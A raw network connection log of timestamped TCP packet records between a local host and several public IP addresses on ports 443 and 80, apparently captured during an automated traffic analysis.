Mar 13, 2025 10:09:50.234529972 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.234568119 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:50.234586000 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.234616041 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.234658957 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:50.236490965 CET	49735	443	192.168.2.4	104.17.24.14
Mar 13, 2025 10:09:50.236510992 CET	443	49735	104.17.24.14	192.168.2.4
Mar 13, 2025 10:09:50.236644030 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.236654997 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.236690998 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.237019062 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.237019062 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.237027884 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.237576008 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.237951994 CET	80	49738	142.250.181.227	192.168.2.4
Mar 13, 2025 10:09:50.249476910 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.249516964 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.249551058 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.249574900 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.249589920 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.249608994 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.278120041 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.278145075 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.278217077 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.278230906 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.278477907 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.280056000 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.280073881 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.280128002 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.280145884 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.280185938 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.303339958 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.303356886 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.303416967 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.303448915 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.303466082 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.303508997 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.303980112 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.304007053 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.304275990 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.304275990 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.304301977 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.304531097 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.308370113 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.308449984 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.308479071 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.308629036 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.308711052 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.308727980 CET	443	49733	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.308784962 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.308784962 CET	49733	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.327955008 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.327971935 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.328027964 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.328047037 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.328083992 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.349832058 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.349848986 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.349900961 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.349924088 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.349963903 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.349981070 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.362391949 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.362406969 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.362481117 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.362493038 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.362552881 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.376104116 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.376118898 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.376229048 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.376246929 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.376295090 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.376456022 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.376492977 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:50.376562119 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.376734018 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.376754999 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:50.376813889 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.377175093 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.377183914 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:50.377931118 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.377944946 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:50.386814117 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.386828899 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.386869907 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.386885881 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.386913061 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.386930943 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.399116039 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.399135113 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.399184942 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.399202108 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.399238110 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.410763979 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.410784960 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.410839081 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.410852909 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.410897970 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.420182943 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.420200109 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.420264959 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.420273066 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.420326948 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.430658102 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.430675030 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.430737019 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.430753946 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.430797100 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.440742016 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.440759897 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.440817118 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.440835953 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.440876961 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.448760986 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.448790073 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.448852062 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.448873043 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.448887110 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.448914051 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.448941946 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.449229956 CET	49734	443	192.168.2.4	151.101.130.137
Mar 13, 2025 10:09:50.449249983 CET	443	49734	151.101.130.137	192.168.2.4
Mar 13, 2025 10:09:50.452230930 CET	49742	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.452270031 CET	443	49742	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:50.452332020 CET	49742	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.452641010 CET	49743	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.452678919 CET	443	49743	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:50.452743053 CET	49743	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.453419924 CET	49744	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.453459978 CET	443	49744	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:50.453526020 CET	49744	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.454243898 CET	49742	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.454262018 CET	443	49742	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:50.454660892 CET	49744	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.454677105 CET	443	49744	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:50.454946041 CET	49743	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.454966068 CET	443	49743	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:50.680861950 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.680885077 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:50.680939913 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.681248903 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:50.681260109 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:50.881964922 CET	80	49738	142.250.181.227	192.168.2.4
Mar 13, 2025 10:09:50.888436079 CET	49738	80	192.168.2.4	142.250.181.227
Mar 13, 2025 10:09:50.893127918 CET	80	49738	142.250.181.227	192.168.2.4
Mar 13, 2025 10:09:51.084388971 CET	80	49738	142.250.181.227	192.168.2.4
Mar 13, 2025 10:09:51.133544922 CET	49738	80	192.168.2.4	142.250.181.227
Mar 13, 2025 10:09:52.493750095 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.494033098 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.494045973 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.495346069 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.495425940 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.496676922 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.496676922 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.496737957 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.550880909 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.551182032 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.551208019 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.551327944 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.551342964 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.552350044 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.552701950 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.552910089 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.552910089 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.552963972 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.595855951 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.595884085 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.596009016 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.605499029 CET	443	49742	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.605829000 CET	49742	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.605844975 CET	443	49742	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.606880903 CET	443	49742	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.606935978 CET	49742	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.607366085 CET	49742	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.607422113 CET	443	49742	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.607656002 CET	49742	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.607664108 CET	443	49742	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.643322945 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.656476021 CET	49742	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.662458897 CET	443	49743	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.662739038 CET	49743	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.662760973 CET	443	49743	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.663815975 CET	443	49743	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.664104939 CET	49743	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.664424896 CET	49743	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.664479017 CET	443	49743	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.667311907 CET	49743	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.667324066 CET	443	49743	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.719084024 CET	49743	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.736099958 CET	443	49744	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.736458063 CET	49744	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.736474037 CET	443	49744	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.737540960 CET	443	49744	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.737601995 CET	49744	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.738328934 CET	49744	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.738392115 CET	443	49744	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.738594055 CET	49744	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.738600016 CET	443	49744	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.749528885 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.751329899 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.751358032 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.752403021 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.752474070 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.753089905 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.753140926 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.753262043 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.780970097 CET	49744	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.798036098 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:52.798062086 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:52.840840101 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.126805067 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.132035971 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.132177114 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.132186890 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.132353067 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.156898022 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.156908989 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.156982899 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.156991959 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.157027006 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.157329082 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.157466888 CET	49740	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.157480955 CET	443	49740	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.227087021 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.227186918 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:53.227263927 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.227746964 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.227762938 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:53.275460958 CET	443	49742	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.295047045 CET	443	49742	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.295109987 CET	49742	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.295116901 CET	443	49742	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.295152903 CET	49742	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.295603991 CET	49742	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.295623064 CET	443	49742	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.306691885 CET	49755	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.306749105 CET	443	49755	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:53.306816101 CET	49755	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.307168961 CET	49755	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.307185888 CET	443	49755	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:53.385498047 CET	443	49744	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.393021107 CET	443	49744	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.393081903 CET	49744	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.395677090 CET	49744	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.395701885 CET	443	49744	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.396394014 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.396428108 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.396502972 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.396518946 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.396562099 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.399734974 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.405054092 CET	49756	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.405095100 CET	443	49756	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:53.405155897 CET	49756	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.405452013 CET	49756	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.405467033 CET	443	49756	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:53.406088114 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.406130075 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.406235933 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.406239033 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.406517029 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.406518936 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.407428980 CET	49741	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.407449007 CET	443	49741	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.409485102 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.409512997 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.412568092 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.412568092 CET	49757	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.412607908 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:53.413002014 CET	49757	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.413002014 CET	49757	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.413031101 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:53.415896893 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.415952921 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.416029930 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.416073084 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.416073084 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.417458057 CET	49745	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.417471886 CET	443	49745	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.420391083 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.420428038 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:53.420779943 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.420828104 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.420840025 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:53.424633026 CET	443	49743	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.424712896 CET	443	49743	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.424762964 CET	49743	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.426537991 CET	49743	443	192.168.2.4	3.124.100.143
Mar 13, 2025 10:09:53.426558018 CET	443	49743	3.124.100.143	192.168.2.4
Mar 13, 2025 10:09:53.508987904 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:53.509011030 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:53.516127110 CET	49759	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:53.516168118 CET	443	49759	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:53.516230106 CET	49759	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:53.516681910 CET	49759	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:53.516695023 CET	443	49759	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:53.525437117 CET	49760	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.525470018 CET	443	49760	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:53.525530100 CET	49760	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.525815964 CET	49760	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:53.525825977 CET	443	49760	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:54.066951036 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.067060947 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.067087889 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.067153931 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.067187071 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:54.067756891 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.067817926 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:54.067822933 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.067840099 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.067899942 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:54.067917109 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.068010092 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.068058014 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:54.068700075 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.068779945 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:54.068859100 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.068926096 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:54.069726944 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.069792032 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:54.069802046 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.069842100 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:54.069890022 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.070604086 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:09:54.070652962 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:09:55.196126938 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.196501017 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.196528912 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.197608948 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.197690964 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.198093891 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.198167086 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.198271990 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.244326115 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.249813080 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.249841928 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.275892019 CET	443	49759	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:55.276223898 CET	49759	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:55.276242971 CET	443	49759	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:55.277311087 CET	443	49759	34.117.59.81	192.168.2.4
